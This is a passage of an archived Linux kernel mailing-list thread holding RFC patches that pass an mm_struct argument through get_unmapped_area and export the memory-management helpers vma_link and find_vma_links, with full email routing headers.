 	unsigned long error = arch_mmap_check(addr, len, flags);
 	if (error)
@@ -2056,7 +2056,7 @@ get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 	if (len > TASK_SIZE)
 		return -ENOMEM;
 
-	get_area = current->mm->get_unmapped_area;
+	get_area = mm->get_unmapped_area;
 	if (file) {
 		if (file->f_op->get_unmapped_area)
 			get_area = file->f_op->get_unmapped_area;
@@ -2070,7 +2070,7 @@ get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 		get_area = shmem_get_unmapped_area;
 	}
 
-	addr = get_area(file, addr, len, pgoff, flags);
+	addr = get_area(mm, file, addr, len, pgoff, flags);
 	if (IS_ERR_VALUE(addr))
 		return addr;
 
@@ -2819,7 +2819,7 @@ static int do_brk(unsigned long addr, unsigned long request)
 
 	flags = VM_DATA_DEFAULT_FLAGS | VM_ACCOUNT | mm->def_flags;
 
-	error = get_unmapped_area(NULL, addr, len, 0, MAP_FIXED);
+	error = get_unmapped_area(mm, NULL, addr, len, 0, MAP_FIXED);
 	if (offset_in_page(error))
 		return error;
 
diff --git a/mm/mremap.c b/mm/mremap.c
index 30d7d2482eea..f085eed57bac 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -452,8 +452,9 @@ static unsigned long mremap_to(unsigned long addr, unsigned long old_len,
 	if (vma->vm_flags & VM_MAYSHARE)
 		map_flags |= MAP_SHARED;
 
-	ret = get_unmapped_area(vma->vm_file, new_addr, new_len, vma->vm_pgoff +
-				((addr - vma->vm_start) >> PAGE_SHIFT),
+	ret = get_unmapped_area(mm, vma->vm_file, new_addr, new_len,
+				vma->vm_pgoff +
+					((addr - vma->vm_start) >> PAGE_SHIFT),
 				map_flags);
 	if (offset_in_page(ret))
 		goto out1;
@@ -475,8 +476,8 @@ static int vma_expandable(struct vm_area_struct *vma, unsigned long delta)
 		return 0;
 	if (vma->vm_next && vma->vm_next->vm_start < end) /* intersection */
 		return 0;
-	if (get_unmapped_area(NULL, vma->vm_start, end - vma->vm_start,
-			      0, MAP_FIXED) & ~PAGE_MASK)
+	if (get_unmapped_area(vma->vm_mm, NULL, vma->vm_start,
+			      end - vma->vm_start, 0, MAP_FIXED) & ~PAGE_MASK)
 		return 0;
 	return 1;
 }
@@ -583,7 +584,7 @@ SYSCALL_DEFINE5(mremap, unsigned long, addr, unsigned long, old_len,
 		if (vma->vm_flags & VM_MAYSHARE)
 			map_flags |= MAP_SHARED;
 
-		new_addr = get_unmapped_area(vma->vm_file, 0, new_len,
+		new_addr = get_unmapped_area(mm, vma->vm_file, 0, new_len,
 					vma->vm_pgoff +
 					((addr - vma->vm_start) >> PAGE_SHIFT),
 					map_flags);
diff --git a/mm/nommu.c b/mm/nommu.c
index 54825d29f50b..5075a56b75ec 100644
--- a/mm/nommu.c
+++ b/mm/nommu.c
@@ -1333,8 +1333,9 @@ unsigned long do_mmap(struct mm_struct *mm,
 		 *   tell us the location of a shared mapping
 		 */
 		if (capabilities & NOMMU_MAP_DIRECT) {
-			addr = file->f_op->get_unmapped_area(file, addr, len,
-							     pgoff, flags);
+			addr = file->f_op->get_unmapped_area(mm, file, addr,
+							     len, pgoff,
+							     flags);
 			if (IS_ERR_VALUE(addr)) {
 				ret = addr;
 				if (ret != -ENOSYS)
@@ -1782,8 +1783,9 @@ int remap_vmalloc_range(struct vm_area_struct *vma, void *addr,
 }
 EXPORT_SYMBOL(remap_vmalloc_range);
 
-unsigned long arch_get_unmapped_area(struct file *file, unsigned long addr,
-	unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long arch_get_unmapped_area(struct mm_struct *mm, struct file *file,
+	unsigned long addr, unsigned long len, unsigned long pgoff,
+	unsigned long flags)
 {
 	return -ENOMEM;
 }
diff --git a/mm/shmem.c b/mm/shmem.c
index 3a7587a0314d..5e27727c05a8 100644
--- a/mm/shmem.c
+++ b/mm/shmem.c
@@ -1971,11 +1971,11 @@ static int shmem_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
 	return ret;
 }
 
-unsigned long shmem_get_unmapped_area(struct file *file,
+unsigned long shmem_get_unmapped_area(struct mm_struct *mm, struct file *file,
 				      unsigned long uaddr, unsigned long len,
 				      unsigned long pgoff, unsigned long flags)
 {
-	unsigned long (*get_area)(struct file *,
+	unsigned long (*get_area)(struct mm_struct *mm, struct file *,
 		unsigned long, unsigned long, unsigned long, unsigned long);
 	unsigned long addr;
 	unsigned long offset;
@@ -1986,8 +1986,8 @@ unsigned long shmem_get_unmapped_area(struct file *file,
 	if (len > TASK_SIZE)
 		return -ENOMEM;
 
-	get_area = current->mm->get_unmapped_area;
-	addr = get_area(file, uaddr, len, pgoff, flags);
+	get_area = mm->get_unmapped_area;
+	addr = get_area(mm, file, uaddr, len, pgoff, flags);
 
 	if (!IS_ENABLED(CONFIG_TRANSPARENT_HUGE_PAGECACHE))
 		return addr;
@@ -2043,7 +2043,7 @@ unsigned long shmem_get_unmapped_area(struct file *file,
 	if (inflated_len < len)
 		return addr;
 
-	inflated_addr = get_area(NULL, 0, inflated_len, 0, flags);
+	inflated_addr = get_area(mm, NULL, 0, inflated_len, 0, flags);
 	if (IS_ERR_VALUE(inflated_addr))
 		return addr;
 	if (inflated_addr & ~PAGE_MASK)
@@ -3971,11 +3971,11 @@ void shmem_unlock_mapping(struct address_space *mapping)
 }
 
 #ifdef CONFIG_MMU
-unsigned long shmem_get_unmapped_area(struct file *file,
+unsigned long shmem_get_unmapped_area(struct mm_struct *mm, struct file *file,
 				      unsigned long addr, unsigned long len,
 				      unsigned long pgoff, unsigned long flags)
 {
-	return current->mm->get_unmapped_area(file, addr, len, pgoff, flags);
+	return mm->get_unmapped_area(mm, file, addr, len, pgoff, flags);
 }
 #endif
 
diff --git a/sound/core/pcm_native.c b/sound/core/pcm_native.c
index 9d33c1e85c79..f3d2ee8ecf9f 100644
--- a/sound/core/pcm_native.c
+++ b/sound/core/pcm_native.c
@@ -3649,7 +3649,8 @@ static int snd_pcm_hw_params_old_user(struct snd_pcm_substream *substream,
 #endif /* CONFIG_SND_SUPPORT_OLD_API */
 
 #ifndef CONFIG_MMU
-static unsigned long snd_pcm_get_unmapped_area(struct file *file,
+static unsigned long snd_pcm_get_unmapped_area(struct mm_struct *mm,
+					       struct file *file,
 					       unsigned long addr,
 					       unsigned long len,
 					       unsigned long pgoff,
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 06/13] mm/mmap: Export 'vma_link' and 'find_vma_links' to mm subsystem
Date: Mon, 13 Mar 2017 15:14:08 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <20170313221415.9375-7-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443297 30597 195.159.176.226 (13 Mar 2017 22:14:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:14:57 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:14:49 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYEn-00071Y-Et
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:14:45 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 3C4C56B039C; Mon, 13 Mar 2017 18:14:45 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 325246B039A; Mon, 13 Mar 2017 18:14:45 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 0E18B6B039B; Mon, 13 Mar 2017 18:14:44 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id 874066B0399
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:14:44 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id g10so46746209wrg.5
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:14:44 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=w1PmDJLan+xfSF/rM9imHbrliay2fd7B6HTp+CfyaRo=;
        b=B55nrOdb7d6L3KtemqIAYeLoJWGMa4nxRMQaJIcsA4tHWSP+2lk3MhM94XlVxzAoF2
         JF9wcciU89fMPf76O8O8qQ3C7QXTgesqfMN3Wd/dM+soLc3aeiITXXtVU1D2ME4b8p85
         CK7eB1A5Me+ROQ+57YnwleduBnXukY+jC6yxDUQ67vDclxBGI2euN3AYgN0kqKzXj4GX
         hGgS3ePijBcFEB/w45HTIsclK2/8lCt/IgsMlx8GIE7PCzWCdvrnoTHkYS97b7ilgVyT
         5dQG9NRhlh8gvIsrmjWZTmCstWVL6qKGJQp4J0V5lkWUYSkchxlW16wehDPFnONsJ6XK
         w3LA==
X-Gm-Message-State: AMke39nV4rTAImfMOO4UlZA5AeZOOueKGBt53eUgSjZHt1lnOnlkv3hxD8LNxHK62Hd/Iw4krN+bASaXv/UHvUVXTK6NdNBTOClydpoXtBRdbV4jwm/VeyLsbQLOUEgSYCYocQ0WsRoBzuXponZhl1pgqLZC/qdlLor7kETO7QnJr7rcIJkR/Fa1HCvfpREEwFBg3YDN/AntV5+0xdhIVV8N8LTgLjrj1n4fBiKxxTzQkz6KB/4dxMC07F1TRklsgIJc/LDf/eKK7mpcPiEi/XUZHmpvm7qVkcIu3rZ7TuUl2eARGTwqSiM=
X-Received: by 10.223.173.76 with SMTP id p70mr28227938wrc.168.1489443284133;
        Mon, 13 Mar 2017 15:14:44 -0700 (PDT)
X-Received: by 10.223.173.76 with SMTP id p70mr28227903wrc.168.1489443283580;
        Mon, 13 Mar 2017 15:14:43 -0700 (PDT)
Original-Received: from mail-wr0-x242.google.com (mail-wr0-x242.google.com. [2a00:1450:400c:c0c::242])
        by mx.google.com with ESMTPS id y22si2292549wrd.301.2017.03.13.15.14.43
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:43 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::242 as permitted sender) client-ip=2a00:1450:400c:c0c::242;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::242 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x242.google.com with SMTP id l37so21725908wrc.3;
        Mon, 13 Mar 2017 15:14:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=w1PmDJLan+xfSF/rM9imHbrliay2fd7B6HTp+CfyaRo=;
        b=lBWkLxsHgVY0ngzVkbZiPlFp3j10nEh7hc9XvgJQ+S5b6T7tpcUDHGAlngomo+JBN1
         qrbpMiXdm6pwyA02aBpEz0GM6hIx1cSm2NFC5O87STigFLhTJV3sgH2sr/ebac0H4Yln
         QmEt3s53BvSZ6r9I1YMPLR48Vpszu8Fxv0Sv7gFspAmi5CBNHIY0pYb17aQgcGzereIR
         ZFJL4RNiJ27IUwMtQQsxo4AZPDNrhi1iMH0uEnt61yIWJzUJf1CLgsZMNkgqEdZFGubS
         CKxkHEO0+fQ7zl9SDi+iE3w+lmYVqQ7TadF9zX01jDJ2YE2SQ8FijxZZHa/HV9pBo9gj
         EyGA==
X-Received: by 10.223.160.231 with SMTP id n36mr34046585wrn.167.1489443282992;
        Mon, 13 Mar 2017 15:14:42 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id w4sm12834302wmg.25.2017.03.13.15.14.41
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:42 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4941 gmane.linux.kernel:2431237 gmane.linux.ports.alpha:4127 gmane.linux.kernel.arc:2216 gmane.linux.ports.arm.kernel:564751 gmane.linux.ports.hexagon:1152 gmane.linux.ports.ia64:27691 gmane.linux.kernel.metag:1261 gmane.linux.ports.mips.general:58337 gmane.linux.ports.parisc:27319 gmane.linux.ports.ppc64.devel:139530 gmane.linux.ports.sh.devel:55125 gmane.linux.ports.sparc:24722 gmane.linux.drivers.video-input-infrastructure:114745 gmane.linux.drivers.mtd:72536 gmane.linux.usb.general:156112 gmane.linux.file-systems:119082 gmane.linux.kernel.mm:168264 gmane.linux.kernel.api:22523 gmane.linux.kernel.cross-arch:35531 gmane.linux.alsa.devel:165309
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4941>

Make the functions 'vma_link' and 'find_vma_links' accessible to other
source files in the mm/ source directory of the kernel so that other files
in that directory can also perform low level changes to mm_struct data
structures.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 mm/internal.h | 11 +++++++++++
 mm/mmap.c     | 12 ++++++------
 2 files changed, 17 insertions(+), 6 deletions(-)

diff --git a/mm/internal.h b/mm/internal.h
index 7aa2ea0a8623..e22cb031b45b 100644
--- a/mm/internal.h
+++ b/mm/internal.h
@@ -76,6 +76,17 @@ static inline void set_page_refcounted(struct page *page)
 extern unsigned long highest_memmap_pfn;
 
 /*
+ * in mm/mmap.c
+ */
+extern void vma_link(struct mm_struct *mm, struct vm_area_struct *vma,
+		     struct vm_area_struct *prev, struct rb_node **rb_link,
+		     struct rb_node *rb_parent);
+extern int find_vma_links(struct mm_struct *mm, unsigned long addr,
+			  unsigned long end, struct vm_area_struct **pprev,
+			  struct rb_node ***rb_link,
+			  struct rb_node **rb_parent);
+
+/*
  * in mm/vmscan.c:
  */
 extern int isolate_lru_page(struct page *page);
diff --git a/mm/mmap.c b/mm/mmap.c
index 3f60c8ebd6b6..d35c6b51cadf 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -466,9 +466,9 @@ anon_vma_interval_tree_post_update_vma(struct vm_area_struct *vma)
 		anon_vma_interval_tree_insert(avc, &avc->anon_vma->rb_root);
 }
 
-static int find_vma_links(struct mm_struct *mm, unsigned long addr,
-		unsigned long end, struct vm_area_struct **pprev,
-		struct rb_node ***rb_link, struct rb_node **rb_parent)
+int find_vma_links(struct mm_struct *mm, unsigned long addr,
+		   unsigned long end, struct vm_area_struct **pprev,
+		   struct rb_node ***rb_link, struct rb_node **rb_parent)
 {
 	struct rb_node **__rb_link, *__rb_parent, *rb_prev;
 
@@ -580,9 +580,9 @@ __vma_link(struct mm_struct *mm, struct vm_area_struct *vma,
 	__vma_link_rb(mm, vma, rb_link, rb_parent);
 }
 
-static void vma_link(struct mm_struct *mm, struct vm_area_struct *vma,
-			struct vm_area_struct *prev, struct rb_node **rb_link,
-			struct rb_node *rb_parent)
+void vma_link(struct mm_struct *mm, struct vm_area_struct *vma,
+	      struct vm_area_struct *prev, struct rb_node **rb_link,
+	      struct rb_node *rb_parent)
 {
 	struct address_space *mapping = NULL;
 
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 07/13] kernel/fork: Split and export 'mm_alloc' and 'mm_init'
Date: Mon, 13 Mar 2017 15:14:09 -0700
Lines: 219
Approved: news@gmane.org
Message-ID: <20170313221415.9375-8-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443301 31690 195.159.176.226 (13 Mar 2017 22:15:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:15:01 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-mm@kvack.org Mon Mar 13 23:14:53 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cnYEu-0007UY-GM
	for glkm-linux-mm-2@m.gmane.org; Mon, 13 Mar 2017 23:14:52 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 1EFD26B039B; Mon, 13 Mar 2017 18:14:50 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 17AB16B039D; Mon, 13 Mar 2017 18:14:50 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id F33136B039F; Mon, 13 Mar 2017 18:14:49 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id 8E0986B039D
	for <linux-mm@kvack.org>; Mon, 13 Mar 2017 18:14:49 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id u48so46009536wrc.0
        for <linux-mm@kvack.org>; Mon, 13 Mar 2017 15:14:49 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=B32XbUkrul0X78BUEXdWezBY9Sro2XGk/bJVlMQlLeQ=;
        b=alCwJw3RqG6esyfRZqSwo2JrPOQxP5bCVbgCEslshy+f64kjpzg6IU7IqD/DlJKOFO
         RN+VV57eB1Yo1K0WhxhaOgrrFmb2bQbeQRVTF+KMBxWIe1fEYIamMSKEzxox5TSzAQVf
         iE89YXwkxwpC5iaOsBfhhVIqhi9NVTZXF3DZseGLbqVkqG/hy7DGQUIu2lecKxYkeMBb
         o5kyTGDiLv3DLRxAJAO0tc90oF/UFLT4K/M2oYCg2Ids/ompaMJ++Mnkc+16Lu/NV+QT
         mAUKop3zdjaOh1+VRLl05UeIXz60GC4DHG/VlVQuo1seES+Uda/Dx7moLdWrB7qU0mme
         8MEQ==
X-Gm-Message-State: AMke39kZUjIQQXVUKehniSvIDfX3QuY5bgN6h2gKp8p5bajFRfcXWVoc0gOA4rZt9J1uxVSIJxZTphJO5IhVW9Mdnj59pAP5JNPEai7WQQWBXEvUILsXFaWJTCtWwBl17Vv5fZEot/+q/loUHxz9ViJDclWjmzQnICZuqGRDU+Xj07GWbvEo0zKavmf9E0zP2gsFqKjY32nU7Wk8ThweQ+BcT+y58ZRqxXsXljDj7SdqNAVZnf1TkMLEvZG+ySTiI5w5Hwh0Us9++bK1noszEaUgoMbX0gHdWYbLBh0/dulaiQ6pEw==
X-Received: by 10.223.146.195 with SMTP id 61mr27568359wrn.91.1489443289123;
        Mon, 13 Mar 2017 15:14:49 -0700 (PDT)
X-Received: by 10.223.146.195 with SMTP id 61mr27568321wrn.91.1489443288156;
        Mon, 13 Mar 2017 15:14:48 -0700 (PDT)
Original-Received: from mail-wr0-x244.google.com (mail-wr0-x244.google.com. [2a00:1450:400c:c0c::244])
        by mx.google.com with ESMTPS id 70si12557008wmx.60.2017.03.13.15.14.47
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:48 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) client-ip=2a00:1450:400c:c0c::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x244.google.com with SMTP id g10so21791641wrg.0;
        Mon, 13 Mar 2017 15:14:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=B32XbUkrul0X78BUEXdWezBY9Sro2XGk/bJVlMQlLeQ=;
        b=aKHJ6j0tqJU7KzlS2SQE1S86fBmM1NDycU08Bbfbc53Idm6GouGZsb3Q6pvuJdCTT6
         m73zuXP0um3mGS1mdLbHHOhSQtCb0EzhL77LvJoCmOXSo/Fn+MFrAdQHyNL8ibWzGtMK
         jf01D4Zu6gjjMP6ZSsdaE7GMNg+H+QhW+wPQ0eu8zDg8ZVNX39KoejA4rjzPseQunAiP
         PRNBiJW0wzXzHGIxZWp9zwy6iR+TtEJ5yw657lS6o5hyxmcTX0QkNEb5E/MiUP3gmEAl
         swXsuROrwzcByfTHRGZPMnR61Ov9TXimbHOF3n4LKdZ8sewI/mt7LIJHNIoRfWkvMMtI
         punw==
X-Received: by 10.223.150.110 with SMTP id c43mr29806347wra.85.1489443287445;
        Mon, 13 Mar 2017 15:14:47 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id 94sm26509237wrl.50.2017.03.13.15.14.46
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:46 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168265 gmane.linux.kernel:2431238 gmane.linux.ports.alpha:4128 gmane.linux.kernel.arc:2217 gmane.linux.ports.arm.kernel:564752 gmane.linux.ports.hexagon:1153 gmane.linux.ports.ia64:27692 gmane.linux.kernel.metag:1262 gmane.linux.ports.mips.general:58338 gmane.linux.ports.parisc:27320 gmane.linux.ports.ppc64.devel:139531 gmane.linux.ports.sh.devel:55126 gmane.linux.ports.sparc:24723 gmane.linux.drivers.video-input-infrastructure:114746 gmane.linux.drivers.mtd:72537 gmane.linux.usb.general:156113 gmane.linux.file-systems:119083 gmane.linux.kernel.aio.general:4942 gmane.linux.kernel.api:22524 gmane.linux.kernel.cross-arch:35532 gmane.linux.alsa.devel:165310
